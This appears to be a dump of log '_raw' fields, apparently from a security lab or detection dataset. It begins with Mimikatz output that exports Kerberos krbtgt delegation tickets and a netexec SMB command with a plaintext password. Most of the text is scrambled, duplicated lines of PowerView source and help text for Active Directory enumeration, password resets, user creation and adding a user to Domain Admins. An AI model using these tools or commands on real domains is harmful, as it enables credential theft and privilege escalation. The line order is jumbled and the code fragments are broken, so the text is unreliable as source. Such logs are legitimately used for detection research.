             db5f066faf5b97285e1398bdb790f1f5d69f5bdefc75b639802533fc7932aa35
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;3e4]-2-1-40e10000-DECKHAND-01$@krbtgt-ALLPORTS.LOCAL.kirbi !
Authentication Id : 0 ; 23524 (00000000:00005be4)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
           Start/End/MaxRenew: 11/8/2025 4:39:10 PM ; 11/9/2025 2:39:10 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Target Name  (--) : @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( $$Delegation Ticket$$ )
           Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             a92bd4940307146ad8f95ed6a104d11ee1562ee916b1847f567aaa86b56281db
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;3e4]-2-0-60a10000-DECKHAND-01$@krbtgt-ALLPORTS.LOCAL.kirbi !
         [00000001]


_raw:
 netexec smb 10.0.1.20 -u 'baily.fiin' -p 'Ed9qHh%MexnLCG' --shares
SMB         10.0.1.20       445    DECKHAND-01      [*] Windows Server 2022 Build 20348 x64 (name:DECKHAND-01) (domain:allports.local) (signing:False) (SMBv1:False)
SMB         10.0.1.20       445    DECKHAND-01      [-] allports.local\baily.fiin:Ed9qHh%MexnLCG STATUS_TRUSTED_RELATIONSHIP_FAILURE


_raw: ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list


_raw: AttributeName         : userAccountControl


_raw: ObjectGuid            : 94299db1-e3e7-48f9-845b-3bffef8bedbb


_raw: ObjectDN              : CN=harmj0y,CN=Users,DC=testlab,DC=local


_raw: Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl


_raw: e            ingChange                 ingDsaDN


_raw: ObjectDN      ObjectGuid    AttributeNam LastOriginat Version      LastOriginat


_raw: 'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft


_raw: Return all attribute replication metadata for all objects in the testlab.local domain.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Only return replication metadata on the specified property names.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: parsed from their XML string form and returned as a custom object.


_raw: This is the domain attribute replication metadata associated with the object. The results are


_raw: Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.


_raw: By default, replication data for every domain object is returned.


_raw: object, i.e. a parsed version of the msds-replattributemetadata attribute.


_raw: Returns the Active Directory attribute replication metadata for the specified


_raw: Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"


_raw: $Object = Convert-LDAPProperty -Properties $_.Properties


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $ObjectSearcher.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }


_raw: Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"


_raw: $UACFilter | Where-Object {$_} | ForEach-Object {


_raw: # build the LDAP filter for the dynamic UAC filter value


_raw: Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $ObjectSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"


_raw: $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))


_raw: $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^(CN|OU|DC)=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters


_raw: if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


_raw: #bind dynamic parameter to a friendly variable


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])


_raw: $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: The raw DirectoryServices.SearchResult object, if -Raw is enabled.


_raw: Custom PSObject with translated AD object property fields.


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'


_raw: 'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname


_raw: Get-DomainObject -Credential $Cred -Identity 'windows1'


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Return all objects for the testlab.local domain


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.


_raw: Dynamic parameter that accepts one or more values from $UACEnum, including


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: "-Properties samaccountname,usnchanged,...". By default, all objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName


_raw: Return all (or specified) domain objects in AD.


_raw: Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"


_raw: $Computer = Convert-LDAPProperty -Properties $_.Properties


_raw: $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $CompSearcher.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }


_raw: Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"


_raw: $UACFilter | Where-Object {$_} | ForEach-Object {


_raw: # build the LDAP filter for the dynamic UAC filter value


_raw: Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"


_raw: Write-Verbose '[Get-DomainComputer] Searching for printers'


_raw: Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'


_raw: Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: $CompSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^CN=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters


_raw: if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


_raw: #bind dynamic parameter to a friendly variable


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])


_raw: $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: The raw DirectoryServices.SearchResult object, if -Raw is enabled.


_raw: Custom PSObject with translated computer property fields.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Search the specified OU for computeres that allow unconstrained delegation.


_raw: Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained


_raw: Return the dns hostnames of servers trusted for delegation.


_raw: Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname


_raw: Returns all MS SQL servers in the testlab.local domain.


_raw: Get-DomainComputer -SPN mssql* -Domain testlab.local


_raw: Returns the current computers in current domain.


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Switch. Ping each host to ensure it's up before enumerating.


_raw: Return computers in the specific AD Site name, wildcards accepted.


_raw: Return computers with a specific service pack, wildcards accepted.


_raw: Return computers with a specific operating system, wildcards accepted.


_raw: Return computers with a specific service principal name, wildcards accepted.


_raw: Switch. Return computer objects that are trusted to authenticate for other principals.


_raw: Switch. Return computer objects that have unconstrained delegation.


_raw: "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.


_raw: Dynamic parameter that accepts one or more values from $UACEnum, including


_raw: or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.


_raw: A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),


_raw: "-Properties samaccountname,usnchanged,...". By default, all computer objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty


_raw: Return all computers or specific computer objects in AD.


_raw: Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"


_raw: Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: $RightsSearcher = Get-DomainSearcher @SearcherArguments


_raw: $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]


_raw: $SchemaSearcher = Get-DomainSearcher @SearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'


_raw: $SchemaPath = (Get-Forest @ForestArguments).schema.name


_raw: if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }


_raw: Ouputs a hashtable containing a GUID -> Readable Name mapping.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: for objects where objectClass=controlAccessRight, translating the GUIDs again.


_raw: Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)


_raw: all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.


_raw: Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for


_raw: Required Dependencies: Get-DomainSearcher, Get-Forest


_raw: Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.


_raw: Write-Warning "No handler exists for event ID: $($Event.Id)"


_raw: IpPort            = $Properties[13].Value


_raw: IpAddress         = $Properties[12].Value


_raw: ProcessName       = $Properties[11].Value


_raw: ProcessId         = $Properties[10].Value


_raw: TargetInfo        = $Properties[9].Value


_raw: TargetServerName  = $Properties[8].Value


_raw: TargetLogonGuid   = $Properties[7].Value


_raw: TargetDomainName  = $Properties[6].Value


_raw: TargetUserName    = $Properties[5].Value


_raw: LogonGuid         = $Properties[4].Value.ToString()


_raw: SubjectLogonId    = $Properties[3].Value


_raw: SubjectUserName   = $Properties[1].Value


_raw: SubjectUserSid    = $Properties[0].Value.ToString()


_raw: $Output = New-Object PSObject -Property @{


_raw: if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) {


_raw: ElevatedToken             = $Properties[26].Value


_raw: TargetLinkedLogonId       = $Properties[25].Value


_raw: VirtualAccount            = $Properties[24].Value


_raw: TargetOutboundDomainName  = $Properties[23].Value


_raw: TargetOutboundUserName    = $Properties[22].Value


_raw: RestrictedAdminMode       = $Properties[21].Value


_raw: ImpersonationLevel        = $Properties[20].Value


_raw: IpPort                    = $Properties[19].Value


_raw: IpAddress                 = $Properties[18].Value


_raw: ProcessName               = $Properties[17].Value


_raw: ProcessId                 = $Properties[16].Value


_raw: KeyLength                 = $Properties[15].Value


_raw: LmPackageName             = $Properties[14].Value


_raw: TransmittedServices       = $Properties[13].Value


_raw: LogonGuid                 = $Properties[12].Value


_raw: WorkstationName           = $Properties[11].Value


_raw: LogonProcessName          = $Properties[9].Value


_raw: LogonType                 = $Properties[8].Value


_raw: TargetLogonId             = $Properties[7].Value


_raw: TargetDomainName          = $Properties[6].Value


_raw: TargetUserName            = $Properties[5].Value


_raw: TargetUserSid             = $Properties[4].Value.ToString()


_raw: SubjectLogonId            = $Properties[3].Value


_raw: SubjectDomainName         = $Properties[2].Value


_raw: SubjectUserName           = $Properties[1].Value


_raw: SubjectUserSid            = $Properties[0].Value.ToString()


_raw: TimeCreated               = $Event.TimeCreated


_raw: $Output = New-Object PSObject -Property @{


_raw: Get-WinEvent @EventArguments| ForEach-Object {


_raw: if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }


_raw: (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)


_raw: and (Level=4 or Level=0) and (EventID=4648)


_raw: <!-- Logon with explicit credential events -->


_raw: *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]


_raw: and (Level=4 or Level=0) and (EventID=4624)


_raw: # the XML filter we're passing to Get-WinEvent


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Return a max of 1000 logon events from the specified machine using the specified alternate credentials.


_raw: Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Return all logon events from the last 3 days from every domain controller in the current domain.


_raw: Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))


_raw: Return logon events on the local machine.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: The maximum number of events to retrieve. Default of 5000.


_raw: The [DateTime] object representing the end of when to collect events.


_raw: The [DateTime] object representing the start of when to collect events.


_raw: Specifies the computer name to retrieve events from, default of localhost.


_raw: A maximum of -MaxEvents (default of 5000) are returned.


_raw: logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).


_raw: security events with IDs of 4624 (logon events) or 4648 (explicit credential


_raw: This function uses an XML path filter passed to Get-WinEvent to retrieve


_raw: Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)


_raw: events (ID 4648) from the specified host (default of the localhost).


_raw: Enumerate account logon events (ID 4624) and Logon with explicit credential


_raw: Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"


_raw: Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"


_raw: Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"


_raw: $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)


_raw: Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"


_raw: $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)


_raw: $Context = Get-PrincipalContext @ContextArguments


_raw: if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }


_raw: $ContextArguments = @{ 'Identity' = $Identity }


_raw: [Parameter(Position = 0, Mandatory = $True)]


_raw: Resets the password for 'andy' usering the alternate credentials specified.


_raw: Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred


_raw: $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Resets the password for 'andy' to the password specified.


_raw: Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain to use to search for the user identity, defaults to the current domain.


_raw: Specifies the password to reset the target user's to. Mandatory.


_raw: specifying the user to reset the password for.


_raw: A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),


_raw: SetPassword() function is then invoked on the user, setting the password to -AccountPassword.


_raw: which returns a DirectoryServices.AccountManagement.UserPrincipal object. The


_raw: The bound domain context is then used to search for the specified user -Identity,


_raw: First binds to the specified domain context using Get-PrincipalContext.


_raw: Sets the password for a given user identity.


_raw: Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"


_raw: Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"


_raw: Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"


_raw: $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)


_raw: # set all the appropriate user parameters


_raw: $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)


_raw: $Context = Get-PrincipalContext @ContextArguments


_raw: if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }


_raw: alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember


_raw: Creates the 'andy' user with the specified description and password, using the specified


_raw: New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred


_raw: $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Creates the 'harmj0y2' user with the specified description and password, using the specified


_raw: $user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred


_raw: Creates the 'harmj0y2' user with the specified description and password.


_raw: New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain to use to search for user/group principals, defaults to the current domain.


_raw: Specifies the description of the user to create.


_raw: Specifies the display name of the user to create. If not provided, defaults to SamAccountName.


_raw: Specifies the name of the user to create. If not provided, defaults to SamAccountName.


_raw: Specifies the password for the created user. Mandatory.


_raw: Specifies the Security Account Manager (SAM) account name of the user to create.


_raw: DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.


_raw: The bound domain context is then used to create a new


_raw: First binds to the specified domain context using Get-PrincipalContext.


_raw: TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).


_raw: Creates a new domain user (assuming appropriate permissions) and returns the user object.


_raw: Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"


_raw: $User = Convert-LDAPProperty -Properties $_.Properties


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $UserSearcher.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }


_raw: Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"


_raw: $UACFilter | Where-Object {$_} | ForEach-Object {


_raw: # build the LDAP filter for the dynamic UAC filter value


_raw: Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"


_raw: Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'


_raw: Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'


_raw: Write-Verbose '[Get-DomainUser] Searching for adminCount=1'


_raw: Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'


_raw: # negation of "Accounts that are sensitive and not trusted for delegation"


_raw: Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'


_raw: Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $UserSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"


_raw: $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))


_raw: $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^CN=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters


_raw: if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


_raw: #bind dynamic parameter to a friendly variable


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }